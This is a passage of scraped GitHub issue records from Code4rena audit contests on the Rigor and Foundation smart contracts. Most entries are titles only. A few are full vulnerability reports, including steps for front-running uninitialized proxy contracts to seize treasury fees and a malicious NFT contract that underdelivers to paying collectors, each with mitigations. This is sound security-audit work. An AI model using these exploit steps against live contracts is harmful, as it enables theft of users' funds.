"2022-08-rigor-findings", "body": "Gas Optimizations"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-08-rigor-findings/issues/73", "labels": ["bug", "QA (Quality Assurance)", "valid"], "target": "2022-08-rigor-findings", "body": "QA Report"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-08-rigor-findings/issues/71", "labels": ["bug", "QA (Quality Assurance)", "valid"], "target": "2022-08-rigor-findings", "body": "QA Report"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-08-rigor-findings/issues/70", "labels": ["bug", "G (Gas Optimization)", "valid"], "target": "2022-08-rigor-findings", "body": "Gas Optimizations"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-08-rigor-findings/issues/69", "labels": ["bug", "G (Gas Optimization)", "old-submission-method", "valid"], "target": "2022-08-rigor-findings", "body": "Gas Optimizations"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-08-rigor-findings/issues/67", "labels": ["bug", "QA (Quality Assurance)", "valid"], "target": "2022-08-rigor-findings", "body": "QA Report"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-08-rigor-findings/issues/66", "labels": ["bug", "G (Gas Optimization)", "valid"], "target": "2022-08-rigor-findings", "body": "Gas Optimizations"}, {"title": "Project.sol and Community.sol have no way to revoke a hash in approvedHashes", "html_url": "https://github.com/code-423n4/2022-08-rigor-findings/issues/64", "labels": ["bug", "2 (Med Risk)", "sponsor disputed", "valid"], "target": "2022-08-rigor-findings", "body": "Project.sol and Community.sol have no way to revoke a hash in approvedHashes"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-08-rigor-findings/issues/62", "labels": ["bug", "QA (Quality Assurance)", "edited-by-warden", "valid"], "target": "2022-08-rigor-findings", "body": "QA Report"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-08-rigor-findings/issues/58", "labels": ["bug", "G (Gas Optimization)", "edited-by-warden", "valid"], "target": "2022-08-rigor-findings", "body": "Gas Optimizations"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-08-rigor-findings/issues/55", "labels": ["bug", "G (Gas Optimization)", "valid"], "target": "2022-08-rigor-findings", "body": "Gas Optimizations"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-08-rigor-findings/issues/53", "labels": ["bug", "QA (Quality Assurance)", "valid"], "target": "2022-08-rigor-findings", "body": "QA Report"}, {"title": "Lack of event emission after sensitive action ", "html_url": "https://github.com/code-423n4/2022-08-rigor-findings/issues/49", "labels": ["bug", "disagree with severity", "QA (Quality Assurance)", "sponsor confirmed", "valid"], "target": "2022-08-rigor-findings", "body": "# Lines of code https://github.com/code-423n4/2022-08-rigor/blob/main/contracts/HomeFi.sol#L92 https://github.com/code-423n4/2022-08-rigor/blob/main/contracts/HomeFi.sol#L113 # Vulnerability details ## Impact The initialize function of the HomeFi contract does not emit the AdminReplaced event after setting the value of the _msgSender() to be the admin. Consider emitting events after sensitive changes occur to facilitate tracking and notify off-chain clients following the contracts\u2019 activity. ## Proof of Concept https://github.com/code-423n4/2022-08-rigor/blob/main/contracts/HomeFi.sol#L92 https://github.com/code-423n4/2022-08-rigor/blob/main/contracts/HomeFi.sol#L113 ## Tools Used vscode ## Recommended Mitigation Steps add event"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-08-rigor-findings/issues/41", "labels": ["bug", "G (Gas Optimization)", "edited-by-warden", "valid"], "target": "2022-08-rigor-findings", "body": "Gas Optimizations"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-08-rigor-findings/issues/39", "labels": ["bug", "QA (Quality Assurance)", "valid"], "target": "2022-08-rigor-findings", "body": "QA Report"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-08-rigor-findings/issues/38", "labels": ["bug", "G (Gas Optimization)", "valid"], "target": "2022-08-rigor-findings", "body": "Gas Optimizations"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-08-rigor-findings/issues/37", "labels": ["bug", "G (Gas Optimization)", "valid"], "target": "2022-08-rigor-findings", "body": "Gas Optimizations"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-08-rigor-findings/issues/36", "labels": ["bug", "QA (Quality Assurance)", "valid"], "target": "2022-08-rigor-findings", "body": "QA Report"}, {"title": "Admin role lockout", "html_url": "https://github.com/code-423n4/2022-08-rigor-findings/issues/35", "labels": ["bug", "disagree with severity", "QA (Quality Assurance)", "sponsor acknowledged", "valid"], "target": "2022-08-rigor-findings", "body": "Admin role lockout"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-08-rigor-findings/issues/32", "labels": ["bug", "QA (Quality Assurance)", "valid"], "target": "2022-08-rigor-findings", "body": "QA Report"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-08-rigor-findings/issues/28", "labels": ["bug", "QA (Quality Assurance)", "valid"], "target": "2022-08-rigor-findings", "body": "QA Report"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-08-rigor-findings/issues/27", "labels": ["bug", "G (Gas Optimization)", "valid"], "target": "2022-08-rigor-findings", "body": "Gas Optimizations"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-08-rigor-findings/issues/26", "labels": ["bug", "G (Gas Optimization)", "valid"], "target": "2022-08-rigor-findings", "body": "Gas Optimizations"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-08-rigor-findings/issues/20", "labels": ["bug", "G (Gas Optimization)", "valid"], "target": "2022-08-rigor-findings", "body": "Gas Optimizations"}, {"title": "Builder can lock in a temporarily low lender fee for all future projects", "html_url": "https://github.com/code-423n4/2022-08-rigor-findings/issues/15", "labels": ["bug", "QA (Quality Assurance)", "sponsor acknowledged", "valid"], "target": "2022-08-rigor-findings", "body": "Builder can lock in a temporarily low lender fee for all future projects"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-08-rigor-findings/issues/14", "labels": ["bug", "G (Gas Optimization)", "valid"], "target": "2022-08-rigor-findings", "body": "Gas Optimizations"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-08-rigor-findings/issues/12", "labels": ["bug", "G (Gas Optimization)", "valid"], "target": "2022-08-rigor-findings", "body": "Gas Optimizations"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-08-rigor-findings/issues/10", "labels": ["bug", "G (Gas Optimization)", "valid"], "target": "2022-08-rigor-findings", "body": "Gas Optimizations"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-08-rigor-findings/issues/8", "labels": ["bug", "QA (Quality Assurance)", "edited-by-warden", "valid"], "target": "2022-08-rigor-findings", "body": "QA Report"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-08-rigor-findings/issues/7", "labels": ["bug", "G (Gas Optimization)", "edited-by-warden", "valid"], "target": "2022-08-rigor-findings", "body": "Gas Optimizations"}, {"title": "Incorrect initialization of smart contracts with Access Control issue", "html_url": "https://github.com/code-423n4/2022-08-rigor-findings/issues/6", "labels": ["bug", "2 (Med Risk)", "disagree with severity", "sponsor confirmed", "valid"], "target": "2022-08-rigor-findings", "body": "# Lines of code https://github.com/code-423n4/2022-08-rigor/blob/5ab7ea84a1516cb726421ef690af5bc41029f88f/contracts/HomeFiProxy.sol#L216-L230 https://github.com/code-423n4/2022-08-rigor/blob/5ab7ea84a1516cb726421ef690af5bc41029f88f/contracts/Community.sol#L102-L119 https://github.com/code-423n4/2022-08-rigor/blob/5ab7ea84a1516cb726421ef690af5bc41029f88f/contracts/DebtToken.sol#L43-L58 https://github.com/code-423n4/2022-08-rigor/blob/5ab7ea84a1516cb726421ef690af5bc41029f88f/contracts/Disputes.sol#L74-L81 https://github.com/code-423n4/2022-08-rigor/blob/5ab7ea84a1516cb726421ef690af5bc41029f88f/contracts/HomeFi.sol#L92-L120 https://github.com/code-423n4/2022-08-rigor/blob/5ab7ea84a1516cb726421ef690af5bc41029f88f/contracts/Project.sol#L94-L105 https://github.com/code-423n4/2022-08-rigor/blob/5ab7ea84a1516cb726421ef690af5bc41029f88f/contracts/ProjectFactory.sol#L45-L55 # Vulnerability details ## Impact All next Impact depends on actions and attention from developers when deployed - Loss of funds - Failure of the protocol, with the need for redeploy - Loss of control over protocol elements (some smart contracts) - The possibility of replacing contracts and settings with harmful ones And other things that come out of it... ## Proof of Concept For a proper understanding of Proof of Concept, you need to understand the following things: 1) Hardhat does not stop the process with a deploy and does not show failed transactions if they have occurred in some cases 2) Malicious agents can trace the protocol deployment transactions and insert their own transaction between them Reason: - [During deploy TransparentUpgradeableProxy's](https://github.com/code-423n4/2022-08-rigor/blob/5ab7ea84a1516cb726421ef690af5bc41029f88f/contracts/HomeFiProxy.sol#L216-L230) initialize method for initializing contracts not called. The third parameter responsible for this is an empty string. This causes the initialization process itself to be **delayed** - Contract initialization methods have no check over who calls them Example [ProjectFactory.sol#L45-L55](https://github.com/code-423n4/2022-08-rigor/blob/5ab7ea84a1516cb726421ef690af5bc41029f88f/contracts/ProjectFactory.sol#L45-L55) **Also suitable for other contracts, strings are attached in Links to affected code ** Example of exploiting the vulnerability **Failure of the protocol, with the need for redeploy** && **Loss of control over protocol elements (some smart contracts)** : 1) User listen transaction in mempool, etherscan, transaction in block etc 2) Finds the moment of deployment and sends the transaction for setup his HomeFi address in Disputes contract: Just he call initialize method and put his _homeFi parameter 3) In the event that hardhat tracked a failed transaction, the deployment will stop and you will need to start over. If the hardhead misses it and the developers do not check the result and the setting, access to this part will be lost and fix is needed Example of exploiting the vulnerability **Loss of funds**: 1) User listen transaction in mempool, etherscan, transaction in block for listne when HomeFi will deployed 2) Send transaction for initialize [HomeFi](https://github.com/code-423n4/2022-08-rigor/blob/5ab7ea84a1516cb726421ef690af5bc41029f88f/contracts/HomeFi.sol#L92-L120) with his _treasury address 3) Transfer the admin ownership the right to the real address to divert the eyes 4) The address of the treasury remains with the attacker 5) The protocol fees (fee) will be [transfered](https://github.com/code-423n4/2022-08-rigor/blob/5ab7ea84a1516cb726421ef690af5bc41029f88f/contracts/Community.sol#L443) to the attacker's address until it is detected ## Recommended Mitigation Steps Carry out checks at the initialization stage or redesign the deployment process with the initialization of contracts during deployment "}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-08-rigor-findings/issues/3", "labels": ["bug", "QA (Quality Assurance)", "edited-by-warden", "valid"], "target": "2022-08-rigor-findings", "body": "QA Report"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-08-rigor-findings/issues/2", "labels": ["bug", "G (Gas Optimization)", "edited-by-warden", "valid"], "target": "2022-08-rigor-findings", "body": "Gas Optimizations"}, {"title": "Agreements & Disclosures", "html_url": "https://github.com/code-423n4/2022-08-rigor-findings/issues/1", "labels": [], "target": "2022-08-rigor-findings", "body": "Agreements & Disclosures"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-08-foundation-findings/issues/289", "labels": ["bug", "QA (Quality Assurance)"], "target": "2022-08-foundation-findings", "body": "QA Report"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-08-foundation-findings/issues/287", "labels": ["bug", "G (Gas Optimization)"], "target": "2022-08-foundation-findings", "body": "Gas Optimizations"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-08-foundation-findings/issues/285", "labels": ["bug", "QA (Quality Assurance)"], "target": "2022-08-foundation-findings", "body": "QA Report"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-08-foundation-findings/issues/284", "labels": ["bug", "G (Gas Optimization)"], "target": "2022-08-foundation-findings", "body": "Gas Optimizations"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-08-foundation-findings/issues/282", "labels": ["bug", "G (Gas Optimization)"], "target": "2022-08-foundation-findings", "body": "Gas Optimizations"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-08-foundation-findings/issues/281", "labels": ["bug", "G (Gas Optimization)"], "target": "2022-08-foundation-findings", "body": "Gas Optimizations"}, {"title": "`mintFromFixedPriceSale` for a custom contract can lead to users losing funds", "html_url": "https://github.com/code-423n4/2022-08-foundation-findings/issues/279", "labels": ["bug", "2 (Med Risk)"], "target": "2022-08-foundation-findings", "body": "`mintFromFixedPriceSale` for a custom contract can lead to users losing funds"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-08-foundation-findings/issues/278", "labels": ["bug", "G (Gas Optimization)", "old-submission-method"], "target": "2022-08-foundation-findings", "body": "Gas Optimizations"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-08-foundation-findings/issues/277", "labels": ["bug", "G (Gas Optimization)"], "target": "2022-08-foundation-findings", "body": "Gas Optimizations"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-08-foundation-findings/issues/276", "labels": ["bug", "G (Gas Optimization)"], "target": "2022-08-foundation-findings", "body": "Gas Optimizations"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-08-foundation-findings/issues/274", "labels": ["bug", "QA (Quality Assurance)", "old-submission-method"], "target": "2022-08-foundation-findings", "body": "QA Report"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-08-foundation-findings/issues/273", "labels": ["bug", "QA (Quality Assurance)"], "target": "2022-08-foundation-findings", "body": "QA Report"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-08-foundation-findings/issues/272", "labels": ["bug", "QA (Quality Assurance)", "old-submission-method"], "target": "2022-08-foundation-findings", "body": "QA Report"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-08-foundation-findings/issues/271", "labels": ["bug", "G (Gas Optimization)"], "target": "2022-08-foundation-findings", "body": "Gas Optimizations"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-08-foundation-findings/issues/264", "labels": ["bug", "G (Gas Optimization)"], "target": "2022-08-foundation-findings", "body": "Gas Optimizations"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-08-foundation-findings/issues/262", "labels": ["bug", "QA (Quality Assurance)"], "target": "2022-08-foundation-findings", "body": "QA Report"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-08-foundation-findings/issues/261", "labels": ["bug", "G (Gas Optimization)", "old-submission-method"], "target": "2022-08-foundation-findings", "body": "Gas Optimizations"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-08-foundation-findings/issues/257", "labels": ["bug", "QA (Quality Assurance)"], "target": "2022-08-foundation-findings", "body": "QA Report"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-08-foundation-findings/issues/256", "labels": ["bug", "G (Gas Optimization)"], "target": "2022-08-foundation-findings", "body": "Gas Optimizations"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-08-foundation-findings/issues/255", "labels": ["bug", "G (Gas Optimization)"], "target": "2022-08-foundation-findings", "body": "Gas Optimizations"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-08-foundation-findings/issues/253", "labels": ["bug", "QA (Quality Assurance)"], "target": "2022-08-foundation-findings", "body": "QA Report"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-08-foundation-findings/issues/251", "labels": ["bug", "QA (Quality Assurance)"], "target": "2022-08-foundation-findings", "body": "QA Report"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-08-foundation-findings/issues/250", "labels": ["bug", "G (Gas Optimization)"], "target": "2022-08-foundation-findings", "body": "Gas Optimizations"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-08-foundation-findings/issues/249", "labels": ["bug", "QA (Quality Assurance)"], "target": "2022-08-foundation-findings", "body": "QA Report"}, {"title": "User can steal the referral fee when minting systematically at the cost of nft creator and project.", "html_url": "https://github.com/code-423n4/2022-08-foundation-findings/issues/247", "labels": ["bug", "QA (Quality Assurance)"], "target": "2022-08-foundation-findings", "body": "User can steal the referral fee when minting systematically at the cost of nft creator and project."}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-08-foundation-findings/issues/246", "labels": ["bug", "G (Gas Optimization)"], "target": "2022-08-foundation-findings", "body": "Gas Optimizations"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-08-foundation-findings/issues/245", "labels": ["bug", "G (Gas Optimization)"], "target": "2022-08-foundation-findings", "body": "Gas Optimizations"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-08-foundation-findings/issues/242", "labels": ["bug", "G (Gas Optimization)"], "target": "2022-08-foundation-findings", "body": "Gas Optimizations"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-08-foundation-findings/issues/239", "labels": ["bug", "QA (Quality Assurance)"], "target": "2022-08-foundation-findings", "body": "QA Report"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-08-foundation-findings/issues/234", "labels": ["bug", "QA (Quality Assurance)"], "target": "2022-08-foundation-findings", "body": "QA Report"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-08-foundation-findings/issues/233", "labels": ["bug", "G (Gas Optimization)"], "target": "2022-08-foundation-findings", "body": "Gas Optimizations"}, {"title": "Revenue split inconsistency in `_getFees`", "html_url": "https://github.com/code-423n4/2022-08-foundation-findings/issues/232", "labels": ["bug", "disagree with severity", "QA (Quality Assurance)"], "target": "2022-08-foundation-findings", "body": "Revenue split inconsistency in `_getFees`"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-08-foundation-findings/issues/226", "labels": ["bug", "G (Gas Optimization)"], "target": "2022-08-foundation-findings", "body": "Gas Optimizations"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-08-foundation-findings/issues/225", "labels": ["bug", "QA (Quality Assurance)", "edited-by-warden"], "target": "2022-08-foundation-findings", "body": "QA Report"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-08-foundation-findings/issues/224", "labels": ["bug", "QA (Quality Assurance)"], "target": "2022-08-foundation-findings", "body": "QA Report"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-08-foundation-findings/issues/222", "labels": ["bug", "QA (Quality Assurance)"], "target": "2022-08-foundation-findings", "body": "QA Report"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-08-foundation-findings/issues/219", "labels": ["bug", "QA (Quality Assurance)"], "target": "2022-08-foundation-findings", "body": "QA Report"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-08-foundation-findings/issues/214", "labels": ["bug", "QA (Quality Assurance)"], "target": "2022-08-foundation-findings", "body": "QA Report"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-08-foundation-findings/issues/212", "labels": ["bug", "QA (Quality Assurance)", "old-submission-method"], "target": "2022-08-foundation-findings", "body": "QA Report"}, {"title": "Malicious Creator can steal from collectors upon minting with a custom NFT contract", "html_url": "https://github.com/code-423n4/2022-08-foundation-findings/issues/211", "labels": ["bug", "2 (Med Risk)", "sponsor confirmed"], "target": "2022-08-foundation-findings", "body": "# Lines of code https://github.com/code-423n4/2022-08-foundation/blob/792e00df429b0df9ee5d909a0a5a6e72bd07cf79/contracts/mixins/nftDropMarket/NFTDropMarketFixedPriceSale.sol#L207 # Vulnerability details # Malicious Creator can steal from collectors upon minting with a custom NFT contract In the case of a fixed price sale where `nftContract` is a custom NFT contract that adheres to `INFTDropCollectionMint`, a malicious creator can set a malicious implementation of `INFTDropCollectionMint.mintCountTo()` that would result in collectors calling this function losing funds without receiving the expected amount of NFTs. ## Impact Medium ## Proof Of Concept Here is a [foundry test](https://gist.github.com/joestakey/4b13c7ae6029332da6eaf63b9d2a38bd) that shows a fixed price sale with a malicious NFT contract, where a collector pays for 10 NFTs while only receiving one. It can be described as follow: - A creator creates a malicious `nftContract` with `mintCountTo` minting only one NFT per call, regardless of the value of `count` - The creator calls `NFTDropMarketFixedPriceSale.createFixedPriceSale()` to create a sale for `nftContract`, with `limit` set to `15`. - Bob is monitoring the `CreateFixedPriceSale` event. Upon noticing `CreateFixedPriceSale(customERC721, Alice, price, limit)`, he calls `NFTDropMarketFixedPriceSale.mintFromFixedPriceSale(customERC721, count == 10,)`. He pays the price of `count = 10` NFTs, but because of the logic in `mintCountTo`, only receives one NFT. Note that `mintCountTo` can be implemented in many malicious ways, this is only one example. Another implementation could simply return `firstTokenId` without performing any minting. ## Tools Used Manual Analysis, Foundry ## Mitigation The problem here lies in the implementation of `INFTDropCollectionMint(nftContract).mintCountTo()`. You could add an additional check in `NFTDropMarketFixedPriceSale.mintCountTo()` using `ERC721(nftContract).balanceOf()`. ```diff + uint256 balanceBefore = IERC721(nftContract).balanceOf(msg.sender); 207: firstTokenId = INFTDropCollectionMint(nftContract).mintCountTo(count, msg.sender); + uint256 balanceAfter = IERC721(nftContract).balanceOf(msg.sender); + require(balanceAfter == balanceBefore + count, \"minting failed\") ``` "}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-08-foundation-findings/issues/210", "labels": ["bug", "G (Gas Optimization)"], "target": "2022-08-foundation-findings", "body": "Gas Optimizations"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-08-foundation-findings/issues/209", "labels": ["bug", "G (Gas Optimization)"], "target": "2022-08-foundation-findings", "body": "Gas Optimizations"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-08-foundation-findings/issues/208", "labels": ["bug", "QA (Quality Assurance)", "edited-by-warden"], "target": "2022-08-foundation-findings", "body": "QA Report"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-08-foundation-findings/issues/207", "labels": ["bug", "QA (Quality Assurance)", "old-submission-method"], "target": "2022-08-foundation-findings", "body": "QA Report"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-08-foundation-findings/issues/206", "labels": ["bug", "G (Gas Optimization)", "old-submission-method"], "target": "2022-08-foundation-findings", "body": "Gas Optimizations"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-08-foundation-findings/issues/205", "labels": ["bug", "G (Gas Optimization)"], "target": "2022-08-foundation-findings", "body": "Gas Optimizations"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-08-foundation-findings/issues/202", "labels": ["bug", "QA (Quality Assurance)"], "target": "2022-08-foundation-findings", "body": "QA Report"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-08-foundation-findings/issues/201", "labels": ["bug", "G (Gas Optimization)"], "target": "2022-08-foundation-findings", "body": "Gas Optimizations"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-08-foundation-findings/issues/199", "labels": ["bug", "QA (Quality Assurance)"], "target": "2022-08-foundation-findings", "body": "QA Report"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-08-foundation-findings/issues/198", "labels": ["bug", "G (Gas Optimization)"], "target": "2022-08-foundation-findings", "body": "Gas Optimizations"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-08-foundation-findings/issues/197", "labels": ["bug", "G (Gas Optimization)"], "target": "2022-08-foundation-findings", "body": "Gas Optimizations"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-08-foundation-findings/issues/196", "labels": ["bug", "QA (Quality Assurance)"], "target": "2022-08-foundation-findings", "body": "QA Report"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-08-foundation-findings/issues/194", "labels": ["bug", "QA (Quality Assurance)"], "target": "2022-08-foundation-findings", "body": "QA Report"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-08-foundation-findings/issues/192", "labels": ["bug", "G (Gas Optimization)", "edited-by-warden"], "target": "2022-08-foundation-findings", "body": "Gas Optimizations"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-08-foundation-findings/issues/188", "labels": ["bug", "QA (Quality Assurance)"], "target": "2022-08-foundation-findings", "body": "QA Report"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-08-foundation-findings/issues/187", "labels": ["bug", "G (Gas Optimization)"], "target": "2022-08-foundation-findings", "body": "Gas Optimizations"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-08-foundation-findings/issues/185", "labels": ["bug", "G (Gas Optimization)"], "target": "2022-08-foundation-findings", "body": "Gas Optimizations"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-08-foundation-findings/issues/184", "labels": ["bug", "QA (Quality Assurance)"], "target": "2022-08-foundation-findings", "body": "QA Report"}, {"title": "NFT of NFT collection or NFT drop collection can be locked when calling _mint or mintCountTo function to mint it to a contract that does not support ERC721 protocol", "html_url": "https://github.com/code-423n4/2022-08-foundation-findings/issues/183", "labels": ["bug", "2 (Med Risk)", "sponsor confirmed"], "target": "2022-08-foundation-findings", "body": "# Lines of code https://github.com/code-423n4/2022-08-foundation/blob/main/contracts/NFTCollection.sol#L262-L274 https://github.com/code-423n4/2022-08-foundation/blob/main/contracts/NFTDropCollection.sol#L171-L187 # Vulnerability details ## Impact When calling the following `_mint` or `mintCountTo` function for minting an NFT of a NFT collection or NFT drop collection, the OpenZeppelin's `ERC721Upgradeable` contract's [`_mint`](https://github.com/OpenZeppelin/openzeppelin-contracts-upgradeable/blob/master/contracts/token/ERC721/ERC721Upgradeable.sol#L284-L296) function is used to mint the NFT to a receiver. If such receiver is a contract that does not support the ERC721 protocol, the NFT will be locked and cannot be retrieved. https://github.com/code-423n4/2022-08-foundation/blob/main/contracts/NFTCollection.sol#L262-L274 ``` function _mint(string calldata tokenCID) private onlyCreator returns (uint256 tokenId) { require(bytes(tokenCID).length != 0, \"NFTCollection: tokenCID is required\"); require(!cidToMinted[tokenCID], \"NFTCollection: NFT was already minted\"); unchecked { // Number of tokens cannot overflow 256 bits. tokenId = ++latestTokenId; require(maxTokenId == 0 || tokenId <= maxTokenId, \"NFTCollection: Max token count has already been minted\"); cidToMinted[tokenCID] = true; _tokenCIDs[tokenId] = tokenCID; _mint(msg.sender, tokenId); emit Minted(msg.sender, tokenId, tokenCID, tokenCID); } } ``` https://github.com/code-423n4/2022-08-foundation/blob/main/contracts/NFTDropCollection.sol#L171-L187 ``` function mintCountTo(uint16 count, address to) external onlyMinterOrAdmin returns (uint256 firstTokenId) { require(count != 0, \"NFTDropCollection: `count` must be greater than 0\"); unchecked { // If +1 overflows then +count would also overflow, unless count==0 in which case the loop would exceed gas limits firstTokenId = latestTokenId + 1; } latestTokenId = latestTokenId + count; require(latestTokenId <= maxTokenId, \"NFTDropCollection: Exceeds max tokenId\"); for (uint256 i = firstTokenId; i <= latestTokenId; ) { _mint(to, i); unchecked { ++i; } } } ``` For reference, [OpenZeppelin's documentation for `_mint`](https://docs.openzeppelin.com/contracts/4.x/api/token/erc721#ERC721-_mint-address-uint256-) states: \"Usage of this method is discouraged, use _safeMint whenever possible\". ## Proof of Concept The following steps can occur when minting an NFT of a NFT collection or NFT drop collection. 1. The [`_mint`](https://github.com/code-423n4/2022-08-foundation/blob/main/contracts/NFTCollection.sol#L262-L274) or [`mintCountTo`](https://github.com/code-423n4/2022-08-foundation/blob/main/contracts/NFTDropCollection.sol#L171-L187) function is called with `msg.sender` or the `to` input corresponding to a contract. 2. The OpenZeppelin's `ERC721Upgradeable` contract's [`_mint`](https://github.com/OpenZeppelin/openzeppelin-contracts-upgradeable/blob/master/contracts/token/ERC721/ERC721Upgradeable.sol#L284-L296) function is called with `msg.sender` or `to` used in Step 1 as the receiver address. 3. Since calling the OpenZeppelin's `ERC721Upgradeable` contract's [`_mint`](https://github.com/OpenZeppelin/openzeppelin-contracts-upgradeable/blob/master/contracts/token/ERC721/ERC721Upgradeable.sol#L284-L296) function does not execute the same contract's [`_checkOnERC721Received`](https://github.com/OpenZeppelin/openzeppelin-contracts-upgradeable/blob/master/contracts/token/ERC721/ERC721Upgradeable.sol#L400-L422) function, it is unknown if the receiving contract inherits from the `IERC721ReceiverUpgradeable` interface and implements the `onERC721Received` function or not. It is possible that the receiving contract does not support the ERC721 protocol, which causes the minted NFT to be locked. ## Tools Used VSCode ## Recommended Mitigation Steps https://github.com/code-423n4/2022-08-foundation/blob/main/contracts/NFTCollection.sol#L271 can be changed to the following code. ``` _safeMint(msg.sender, tokenId); ``` Also, https://github.com/code-423n4/2022-08-foundation/blob/main/contracts/NFTDropCollection.sol#L182 can be changed to the following code. ``` _safeMint(to, i); ```"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-08-foundation-findings/issues/181", "labels": ["bug", "G (Gas Optimization)"], "target": "2022-08-foundation-findings", "body": "Gas Optimizations"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-08-foundation-findings/issues/180", "labels": ["bug", "G (Gas Optimization)"], "target": "2022-08-foundation-findings", "body": "Gas Optimizations"}, {"title": "NFTDropMarket does not track self-destructed NFTCollections", "html_url": "https://github.com/code-423n4/2022-08-foundation-findings/issues/179", "labels": ["bug", "disagree with severity", "QA (Quality Assurance)", "sponsor acknowledged", "old-submission-method"], "target": "2022-08-foundation-findings", "body": "NFTDropMarket does not track self-destructed NFTCollections"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-08-foundation-findings/issues/175", "labels": ["bug", "G (Gas Optimization)", "edited-by-warden"], "target": "2022-08-foundation-findings", "body": "Gas Optimizations"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-08-foundation-findings/issues/174", "labels": ["bug", "QA (Quality Assurance)"], "target": "2022-08-foundation-findings", "body": "QA Report"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-08-foundation-findings/issues/173", "labels": ["bug", "QA (Quality Assurance)", "edited-by-warden"], "target": "2022-08-foundation-findings", 